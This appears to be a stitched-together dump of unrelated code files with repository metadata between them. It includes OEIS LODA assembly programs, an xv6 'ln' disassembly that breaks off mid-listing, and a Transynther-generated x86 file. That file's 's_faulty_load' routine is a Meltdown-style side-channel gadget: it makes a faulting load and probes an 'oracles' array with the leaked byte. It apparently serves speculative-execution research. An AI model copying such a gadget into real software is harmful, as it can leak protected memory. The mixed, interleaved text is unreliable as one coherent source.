; A171974: Integer part of the height of a regular tetrahedron with edge length n. ; 0,1,2,3,4,4,5,6,7,8,8,9,10,11,12,13,13,14,15,16,17,17,18,19,20,21,22,22,23,24,25,26,26,27,28,29,30,31,31,32,33,34,35,35,36,37,38,39,40,40,41,42,43,44,44,45,46,47,48,48,49,50,51,52,53,53,54,55,56,57,57,58,59,60,61,62,62,63,64,65,66,66,67,68,69,70,71,71,72,73,74,75,75,76,77,78,79,80,80,81,82,83,84,84,85,86,87,88,88,89,90,91,92,93,93,94,95,96,97,97,98,99,100,101,102,102,103,104,105,106,106,107,108,109,110,111,111,112,113,114,115,115,116,117,118,119,120,120,121,122,123,124,124,125,126,127,128,129,129,130,131,132,133,133,134,135,136,137,137,138,139,140,141,142,142,143,144,145,146,146,147,148,149,150,151,151,152,153,154,155,155,156,157,158,159,160,160,161,162,163,164,164,165,166,167,168,169,169,170,171,172,173,173,174,175,176,177,177,178,179,180,181,182,182,183,184,185,186,186,187,188,189,190,191,191,192,193,194,195,195,196,197,198,199,200,200,201,202,203,204 add $0,1 pow $0,2 lpb $0 add $1,3 sub $0,$1 lpe div $1,3
92.090909
867
0.70385
2b427833f76a0949ae665a27024333e8a6124e90
308
asm
Assembly
programs/oeis/043/A043635.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/043/A043635.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/043/A043635.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A043635: Numbers n such that base 9 representation has exactly 6 runs. ; 59787,59789,59790,59791,59792,59793,59794,59795,59796,59797,59799,59800,59801,59802,59803,59804,59805,59806,59807,59809,59810,59811,59812,59813,59814,59815,59816,59817,59819,59820 add $0,8 mov $1,20 mul $1,$0 div $1,18 add $1,59779
34.222222
181
0.772727
b0078c53a727b69315e0dec170591d6a797ccf6a
3,067
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_21_1450.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_21_1450.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_21_1450.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0xb931, %r8 nop dec %r10 mov (%r8), %ax xor $23360, %r8 lea addresses_D_ht+0x11529, %rsi lea addresses_A_ht+0x8184, %rdi clflush (%rdi) nop nop nop nop xor %r9, %r9 mov $60, %rcx rep movsq nop nop nop nop nop add $35774, %r8 lea addresses_A_ht+0x17529, %rdi nop nop nop add %rsi, %rsi movups (%rdi), %xmm2 vpextrq $1, %xmm2, %r8 nop nop add $9606, %r9 lea addresses_A_ht+0x8929, %rsi lea addresses_WT_ht+0xb229, %rdi clflush (%rsi) nop nop nop add %r14, %r14 mov $40, %rcx rep movsw nop nop nop nop nop sub %rcx, %rcx lea addresses_D_ht+0x10ba9, %rsi lea addresses_A_ht+0x1b411, %rdi nop nop nop nop add %r14, %r14 mov $61, %rcx rep movsl nop nop nop nop nop and %r10, %r10 lea addresses_WC_ht+0x8bc1, %rcx clflush (%rcx) nop xor $49234, %r9 mov (%rcx), %r10d nop nop nop nop nop and $19325, %r10 lea addresses_A_ht+0x14529, %r9 clflush (%r9) nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, (%r9) nop nop and $8962, %rsi lea addresses_WC_ht+0x1bd29, %rax nop dec %r9 mov (%rax), %edi and %rax, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %r9 push %rdx // Faulty Load lea addresses_UC+0x1a929, %r8 nop nop nop nop xor $7559, %r14 vmovaps (%r8), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r9 lea oracles, %r15 and $0xff, %r9 shlq $12, %r9 mov (%r15,%r9,1), %r9 pop %rdx pop %r9 pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'00': 15, '46': 4, '45': 2} 00 46 00 00 00 00 46 45 00 46 45 00 00 46 00 00 00 00 00 00 00 */
19.535032
148
0.646234
61f10fd2cefa2a39fc123627e128c8cbe5f687f5
400
asm
Assembly
programs/oeis/192/A192762.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
null
null
null
programs/oeis/192/A192762.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
null
null
null
programs/oeis/192/A192762.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
null
null
null
; A192762: Coefficient of x in the reduction by x^2->x+1 of the polynomial p(n,x) defined below in Comments. ; 0,1,6,13,26,47,82,139,232,383,628,1025,1668,2709,4394,7121,11534,18675,30230,48927,79180,128131,207336,335493,542856,878377,1421262,2299669,3720962,6020663,9741658,15762355,25504048,41266439,66770524 seq $0,179991 ; Nonhomogeneous three-term sequence a(n) = a(n-1) + a(n-2) + n. sub $0,2
66.666667
201
0.7525
27aca2cc079d9cae7676529bdab0c1ace9ced09a
374
asm
Assembly
programs/oeis/095/A095122.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/095/A095122.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/095/A095122.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A095122: Fib(n)(2Fib(n)-1). ; 0,1,1,6,15,45,120,325,861,2278,5995,15753,41328,108345,283881,743590,1947351,5099221,13351528,34957341,91523685,239618886,627341331,1642418641,4299936480,11257426225,29472399505,77159865030,202007345631 mov $3,1 lpb $0,1 sub $0,1 mov $1,$3 add $1,1 add $2,$3 mov $3,$2 mov $2,$1 lpe bin $1,2 add $1,5 mul $1,2 sub $1,10 div $1,2
20.777778
204
0.695187
8298e8bad66af5c2dcfa0987d4a22fc824b154c9
579
asm
Assembly
oeis/024/A024032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/024/A024032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/024/A024032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A024032: a(n) = 3^n - n^9. ; 1,2,-503,-19656,-262063,-1952882,-10076967,-40351420,-134211167,-387400806,-999940951,-2357770544,-5159248911,-10602905050,-20656263815,-38429010468,-68676430015,-118458736334,-197971869879,-321525436312,-508513215599,-783819693378,-1175888158183,-1707009482636,-2359378003743,-2967408656182,-2887637850647,0,12298336501553,54123231389014,186208132094649,591233774123276,1817835816763009,5512649082153570,16616464706900105,49952729460327832,149993075340330705,450153944151202286,1350686501571729241 mov $1,3 pow $1,$0 pow $0,9 sub $1,$0 mov $0,$1
64.333333
500
0.816926
6dcde2df95e8c773e0b91c56907527d17d76e4e6
204
asm
Assembly
data/pokemon/dex_entries/wobbuffet.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
data/pokemon/dex_entries/wobbuffet.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
data/pokemon/dex_entries/wobbuffet.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
db "PATIENT@" ; species name dw 403, 630 ; height, weight db "In order to con-" next "ceal its black" next "tail, it lives in" page "a dark cave and" next "only moves about" next "at night.@"
18.545455
29
0.647059
b416dffafa59b714fbc7d96d6b1d7b294ad3bfd2
41,616
asm
Assembly
ln.asm
MahtabEK/OS---XV6
eb32b4b384df09d9cc102a46e683dbe37f66f8eb
[ "MIT-0" ]
null
null
null
ln.asm
MahtabEK/OS---XV6
eb32b4b384df09d9cc102a46e683dbe37f66f8eb
[ "MIT-0" ]
null
null
null
ln.asm
MahtabEK/OS---XV6
eb32b4b384df09d9cc102a46e683dbe37f66f8eb
[ "MIT-0" ]
null
null
null
_ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx f: 89 cb mov %ecx,%ebx if(argc != 3){ 11: 83 3b 03 cmpl $0x3,(%ebx) 14: 74 17 je 2d <main+0x2d> printf(2, "Usage: ln old new\n"); 16: 83 ec 08 sub $0x8,%esp 19: 68 10 08 00 00 push $0x810 1e: 6a 02 push $0x2 20: e8 35 04 00 00 call 45a <printf> 25: 83 c4 10 add $0x10,%esp exit(); 28: e8 9e 02 00 00 call 2cb <exit> } if(link(argv[1], argv[2]) < 0) 2d: 8b 43 04 mov 0x4(%ebx),%eax 30: 83 c0 08 add $0x8,%eax 33: 8b 10 mov (%eax),%edx 35: 8b 43 04 mov 0x4(%ebx),%eax 38: 83 c0 04 add $0x4,%eax 3b: 8b 00 mov (%eax),%eax 3d: 83 ec 08 sub $0x8,%esp 40: 52 push %edx 41: 50 push %eax 42: e8 e4 02 00 00 call 32b <link> 47: 83 c4 10 add $0x10,%esp 4a: 85 c0 test %eax,%eax 4c: 79 21 jns 6f <main+0x6f> printf(2, "link %s %s: failed\n", argv[1], argv[2]); 4e: 8b 43 04 mov 0x4(%ebx),%eax 51: 83 c0 08 add $0x8,%eax 54: 8b 10 mov (%eax),%edx 56: 8b 43 04 mov 0x4(%ebx),%eax 59: 83 c0 04 add $0x4,%eax 5c: 8b 00 mov (%eax),%eax 5e: 52 push %edx 5f: 50 push %eax 60: 68 23 08 00 00 push $0x823 65: 6a 02 push $0x2 67: e8 ee 03 00 00 call 45a <printf> 6c: 83 c4 10 add $0x10,%esp exit(); 6f: e8 57 02 00 00 call 2cb <exit> 00000074 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 74: 55 push %ebp 75: 89 e5 mov %esp,%ebp 77: 57 push %edi 78: 53 push %ebx asm volatile("cld; rep stosb" : 79: 8b 4d 08 mov 0x8(%ebp),%ecx 7c: 8b 55 10 mov 0x10(%ebp),%edx 7f: 8b 45 0c mov 0xc(%ebp),%eax 82: 89 cb mov %ecx,%ebx 84: 89 df mov %ebx,%edi 86: 89 d1 mov %edx,%ecx 88: fc cld 89: f3 aa rep stos %al,%es:(%edi) 8b: 89 ca mov %ecx,%edx 8d: 89 fb mov %edi,%ebx 8f: 89 5d 08 mov %ebx,0x8(%ebp) 92: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 95: 90 nop 96: 5b pop %ebx 97: 5f pop %edi 98: 5d pop %ebp 99: c3 ret 0000009a <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 9a: 55 push %ebp 9b: 89 e5 mov %esp,%ebp 9d: 83 ec 10 sub $0x10,%esp char *os; os = s; a0: 8b 45 08 mov 0x8(%ebp),%eax a3: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) a6: 90 nop a7: 8b 45 08 mov 0x8(%ebp),%eax aa: 8d 50 01 lea 0x1(%eax),%edx ad: 89 55 08 mov %edx,0x8(%ebp) b0: 8b 55 0c mov 0xc(%ebp),%edx b3: 8d 4a 01 lea 0x1(%edx),%ecx b6: 89 4d 0c mov %ecx,0xc(%ebp) b9: 0f b6 12 movzbl (%edx),%edx bc: 88 10 mov %dl,(%eax) be: 0f b6 00 movzbl (%eax),%eax c1: 84 c0 test %al,%al c3: 75 e2 jne a7 <strcpy+0xd> ; return os; c5: 8b 45 fc mov -0x4(%ebp),%eax } c8: c9 leave c9: c3 ret 000000ca <strcmp>: int strcmp(const char *p, const char *q) { ca: 55 push %ebp cb: 89 e5 mov %esp,%ebp while(*p && *p == *q) cd: eb 08 jmp d7 <strcmp+0xd> p++, q++; cf: 83 45 08 01 addl $0x1,0x8(%ebp) d3: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d7: 8b 45 08 mov 0x8(%ebp),%eax da: 0f b6 00 movzbl (%eax),%eax dd: 84 c0 test %al,%al df: 74 10 je f1 <strcmp+0x27> e1: 8b 45 08 mov 0x8(%ebp),%eax e4: 0f b6 10 movzbl (%eax),%edx e7: 8b 45 0c mov 0xc(%ebp),%eax ea: 0f b6 00 movzbl (%eax),%eax ed: 38 c2 cmp %al,%dl ef: 74 de je cf <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; f1: 8b 45 08 mov 0x8(%ebp),%eax f4: 0f b6 00 movzbl (%eax),%eax f7: 0f b6 d0 movzbl %al,%edx fa: 8b 45 0c mov 0xc(%ebp),%eax fd: 0f b6 00 movzbl (%eax),%eax 100: 0f b6 c0 movzbl %al,%eax 103: 29 c2 sub %eax,%edx 105: 89 d0 mov %edx,%eax } 107: 5d pop %ebp 108: c3 ret 00000109 <strlen>: uint strlen(char *s) { 109: 55 push %ebp 10a: 89 e5 mov %esp,%ebp 10c: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 10f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 116: eb 04 jmp 11c <strlen+0x13> 118: 83 45 fc 01 addl $0x1,-0x4(%ebp) 11c: 8b 55 fc mov -0x4(%ebp),%edx 11f: 8b 45 08 mov 0x8(%ebp),%eax 122: 01 d0 add %edx,%eax 124: 0f b6 00 movzbl (%eax),%eax 127: 84 c0 test %al,%al 129: 75 ed jne 118 <strlen+0xf> ; return n; 12b: 8b 45 fc mov -0x4(%ebp),%eax } 12e: c9 leave 12f: c3 ret 00000130 <memset>: void* memset(void *dst, int c, uint n) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp stosb(dst, c, n); 133: 8b 45 10 mov 0x10(%ebp),%eax 136: 50 push %eax 137: ff 75 0c pushl 0xc(%ebp) 13a: ff 75 08 pushl 0x8(%ebp) 13d: e8 32 ff ff ff call 74 <stosb> 142: 83 c4 0c add $0xc,%esp return dst; 145: 8b 45 08 mov 0x8(%ebp),%eax } 148: c9 leave 149: c3 ret 0000014a <strchr>: char* strchr(const char *s, char c) { 14a: 55 push %ebp 14b: 89 e5 mov %esp,%ebp 14d: 83 ec 04 sub $0x4,%esp 150: 8b 45 0c mov 0xc(%ebp),%eax 153: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 156: eb 14 jmp 16c <strchr+0x22> if(*s == c) 158: 8b 45 08 mov 0x8(%ebp),%eax 15b: 0f b6 00 movzbl (%eax),%eax 15e: 3a 45 fc cmp -0x4(%ebp),%al 161: 75 05 jne 168 <strchr+0x1e> return (char*)s; 163: 8b 45 08 mov 0x8(%ebp),%eax 166: eb 13 jmp 17b <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 168: 83 45 08 01 addl $0x1,0x8(%ebp) 16c: 8b 45 08 mov 0x8(%ebp),%eax 16f: 0f b6 00 movzbl (%eax),%eax 172: 84 c0 test %al,%al 174: 75 e2 jne 158 <strchr+0xe> if(*s == c) return (char*)s; return 0; 176: b8 00 00 00 00 mov $0x0,%eax } 17b: c9 leave 17c: c3 ret 0000017d <gets>: char* gets(char *buf, int max) { 17d: 55 push %ebp 17e: 89 e5 mov %esp,%ebp 180: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 183: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 18a: eb 42 jmp 1ce <gets+0x51> cc = read(0, &c, 1); 18c: 83 ec 04 sub $0x4,%esp 18f: 6a 01 push $0x1 191: 8d 45 ef lea -0x11(%ebp),%eax 194: 50 push %eax 195: 6a 00 push $0x0 197: e8 47 01 00 00 call 2e3 <read> 19c: 83 c4 10 add $0x10,%esp 19f: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1a2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1a6: 7e 33 jle 1db <gets+0x5e> break; buf[i++] = c; 1a8: 8b 45 f4 mov -0xc(%ebp),%eax 1ab: 8d 50 01 lea 0x1(%eax),%edx 1ae: 89 55 f4 mov %edx,-0xc(%ebp) 1b1: 89 c2 mov %eax,%edx 1b3: 8b 45 08 mov 0x8(%ebp),%eax 1b6: 01 c2 add %eax,%edx 1b8: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1bc: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 1be: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1c2: 3c 0a cmp $0xa,%al 1c4: 74 16 je 1dc <gets+0x5f> 1c6: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1ca: 3c 0d cmp $0xd,%al 1cc: 74 0e je 1dc <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1ce: 8b 45 f4 mov -0xc(%ebp),%eax 1d1: 83 c0 01 add $0x1,%eax 1d4: 3b 45 0c cmp 0xc(%ebp),%eax 1d7: 7c b3 jl 18c <gets+0xf> 1d9: eb 01 jmp 1dc <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 1db: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1dc: 8b 55 f4 mov -0xc(%ebp),%edx 1df: 8b 45 08 mov 0x8(%ebp),%eax 1e2: 01 d0 add %edx,%eax 1e4: c6 00 00 movb $0x0,(%eax) return buf; 1e7: 8b 45 08 mov 0x8(%ebp),%eax } 1ea: c9 leave 1eb: c3 ret 000001ec <stat>: int stat(char *n, struct stat *st) { 1ec: 55 push %ebp 1ed: 89 e5 mov %esp,%ebp 1ef: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 1f2: 83 ec 08 sub $0x8,%esp 1f5: 6a 00 push $0x0 1f7: ff 75 08 pushl 0x8(%ebp) 1fa: e8 0c 01 00 00 call 30b <open> 1ff: 83 c4 10 add $0x10,%esp 202: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 205: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 209: 79 07 jns 212 <stat+0x26> return -1; 20b: b8 ff ff ff ff mov $0xffffffff,%eax 210: eb 25 jmp 237 <stat+0x4b> r = fstat(fd, st); 212: 83 ec 08 sub $0x8,%esp 215: ff 75 0c pushl 0xc(%ebp) 218: ff 75 f4 pushl -0xc(%ebp) 21b: e8 03 01 00 00 call 323 <fstat> 220: 83 c4 10 add $0x10,%esp 223: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 226: 83 ec 0c sub $0xc,%esp 229: ff 75 f4 pushl -0xc(%ebp) 22c: e8 c2 00 00 00 call 2f3 <close> 231: 83 c4 10 add $0x10,%esp return r; 234: 8b 45 f0 mov -0x10(%ebp),%eax } 237: c9 leave 238: c3 ret 00000239 <atoi>: int atoi(const char *s) { 239: 55 push %ebp 23a: 89 e5 mov %esp,%ebp 23c: 83 ec 10 sub $0x10,%esp int n; n = 0; 23f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 246: eb 25 jmp 26d <atoi+0x34> n = n*10 + *s++ - '0'; 248: 8b 55 fc mov -0x4(%ebp),%edx 24b: 89 d0 mov %edx,%eax 24d: c1 e0 02 shl $0x2,%eax 250: 01 d0 add %edx,%eax 252: 01 c0 add %eax,%eax 254: 89 c1 mov %eax,%ecx 256: 8b 45 08 mov 0x8(%ebp),%eax 259: 8d 50 01 lea 0x1(%eax),%edx 25c: 89 55 08 mov %edx,0x8(%ebp) 25f: 0f b6 00 movzbl (%eax),%eax 262: 0f be c0 movsbl %al,%eax 265: 01 c8 add %ecx,%eax 267: 83 e8 30 sub $0x30,%eax 26a: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 26d: 8b 45 08 mov 0x8(%ebp),%eax 270: 0f b6 00 movzbl (%eax),%eax 273: 3c 2f cmp $0x2f,%al 275: 7e 0a jle 281 <atoi+0x48> 277: 8b 45 08 mov 0x8(%ebp),%eax 27a: 0f b6 00 movzbl (%eax),%eax 27d: 3c 39 cmp $0x39,%al 27f: 7e c7 jle 248 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 281: 8b 45 fc mov -0x4(%ebp),%eax } 284: c9 leave 285: c3 ret 00000286 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 286: 55 push %ebp 287: 89 e5 mov %esp,%ebp 289: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 28c: 8b 45 08 mov 0x8(%ebp),%eax 28f: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 292: 8b 45 0c mov 0xc(%ebp),%eax 295: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 298: eb 17 jmp 2b1 <memmove+0x2b> *dst++ = *src++; 29a: 8b 45 fc mov -0x4(%ebp),%eax 29d: 8d 50 01 lea 0x1(%eax),%edx 2a0: 89 55 fc mov %edx,-0x4(%ebp) 2a3: 8b 55 f8 mov -0x8(%ebp),%edx 2a6: 8d 4a 01 lea 0x1(%edx),%ecx 2a9: 89 4d f8 mov %ecx,-0x8(%ebp) 2ac: 0f b6 12 movzbl (%edx),%edx 2af: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 2b1: 8b 45 10 mov 0x10(%ebp),%eax 2b4: 8d 50 ff lea -0x1(%eax),%edx 2b7: 89 55 10 mov %edx,0x10(%ebp) 2ba: 85 c0 test %eax,%eax 2bc: 7f dc jg 29a <memmove+0x14> *dst++ = *src++; return vdst; 2be: 8b 45 08 mov 0x8(%ebp),%eax } 2c1: c9 leave 2c2: c3 ret 000002c3 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 2c3: b8 01 00 00 00 mov $0x1,%eax 2c8: cd 40 int $0x40 2ca: c3 ret 000002cb <exit>: SYSCALL(exit) 2cb: b8 02 00 00 00 mov $0x2,%eax 2d0: cd 40 int $0x40 2d2: c3 ret 000002d3 <wait>: SYSCALL(wait) 2d3: b8 03 00 00 00 mov $0x3,%eax 2d8: cd 40 int $0x40 2da: c3 ret 000002db <pipe>: SYSCALL(pipe) 2db: b8 04 00 00 00 mov $0x4,%eax 2e0: cd 40 int $0x40 2e2: c3 ret 000002e3 <read>: SYSCALL(read) 2e3: b8 05 00 00 00 mov $0x5,%eax 2e8: cd 40 int $0x40 2ea: c3 ret 000002eb <write>: SYSCALL(write) 2eb: b8 10 00 00 00 mov $0x10,%eax 2f0: cd 40 int $0x40 2f2: c3 ret 000002f3 <close>: SYSCALL(close) 2f3: b8 15 00 00 00 mov $0x15,%eax 2f8: cd 40 int $0x40 2fa: c3 ret 000002fb <kill>: SYSCALL(kill) 2fb: b8 06 00 00 00 mov $0x6,%eax 300: cd 40 int $0x40 302: c3 ret 00000303 <exec>: SYSCALL(exec) 303: b8 07 00 00 00 mov $0x7,%eax 308: cd 40 int $0x40 30a: c3 ret 0000030b <open>: SYSCALL(open) 30b: b8 0f 00 00 00 mov $0xf,%eax 310: cd 40 int $0x40 312: c3 ret 00000313 <mknod>: SYSCALL(mknod) 313: b8 11 00 00 00 mov $0x11,%eax 318: cd 40 int $0x40 31a: c3 ret 0000031b <unlink>: SYSCALL(unlink) 31b: b8 12 00 00 00 mov $0x12,%eax 320: cd 40 int $0x40 322: c3 ret 00000323 <fstat>: SYSCALL(fstat) 323: b8 08 00 00 00 mov $0x8,%eax 328: cd 40 int $0x40 32a: c3 ret 0000032b <link>: SYSCALL(link) 32b: b8 13 00 00 00 mov $0x13,%eax 330: cd 40 int $0x40 332: c3 ret 00000333 <mkdir>: SYSCALL(mkdir) 333: b8 14 00 00 00 mov $0x14,%eax 338: cd 40 int $0x40 33a: c3 ret 0000033b <chdir>: SYSCALL(chdir) 33b: b8 09 00 00 00 mov $0x9,%eax 340: cd 40 int $0x40 342: c3 ret 00000343 <dup>: SYSCALL(dup) 343: b8 0a 00 00 00 mov $0xa,%eax 348: cd 40 int $0x40 34a: c3 ret 0000034b <getpid>: SYSCALL(getpid) 34b: b8 0b 00 00 00 mov $0xb,%eax 350: cd 40 int $0x40 352: c3 ret 00000353 <sbrk>: SYSCALL(sbrk) 353: b8 0c 00 00 00 mov $0xc,%eax 358: cd 40 int $0x40 35a: c3 ret 0000035b <sleep>: SYSCALL(sleep) 35b: b8 0d 00 00 00 mov $0xd,%eax 360: cd 40 int $0x40 362: c3 ret 00000363 <uptime>: SYSCALL(uptime) 363: b8 0e 00 00 00 mov $0xe,%eax 368: cd 40 int $0x40 36a: c3 ret 0000036b <getppid>: SYSCALL(getppid) 36b: b8 16 00 00 00 mov $0x16,%eax 370: cd 40 int $0x40 372: c3 ret 00000373 <wait2>: SYSCALL(wait2) 373: b8 18 00 00 00 mov $0x18,%eax 378: cd 40 int $0x40 37a: c3 ret 0000037b <nice>: SYSCALL(nice) 37b: b8 17 00 00 00 mov $0x17,%eax 380: cd 40 int $0x40 382: c3 ret 00000383 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 383: 55 push %ebp 384: 89 e5 mov %esp,%ebp 386: 83 ec 18 sub $0x18,%esp 389: 8b 45 0c mov 0xc(%ebp),%eax 38c: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 38f: 83 ec 04 sub $0x4,%esp 392: 6a 01 push $0x1 394: 8d 45 f4 lea -0xc(%ebp),%eax 397: 50 push %eax 398: ff 75 08 pushl 0x8(%ebp) 39b: e8 4b ff ff ff call 2eb <write> 3a0: 83 c4 10 add $0x10,%esp } 3a3: 90 nop 3a4: c9 leave 3a5: c3 ret 000003a6 <printint>: static void printint(int fd, int xx, int base, int sgn) { 3a6: 55 push %ebp 3a7: 89 e5 mov %esp,%ebp 3a9: 53 push %ebx 3aa: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3ad: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 3b4: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 3b8: 74 17 je 3d1 <printint+0x2b> 3ba: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 3be: 79 11 jns 3d1 <printint+0x2b> neg = 1; 3c0: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 3c7: 8b 45 0c mov 0xc(%ebp),%eax 3ca: f7 d8 neg %eax 3cc: 89 45 ec mov %eax,-0x14(%ebp) 3cf: eb 06 jmp 3d7 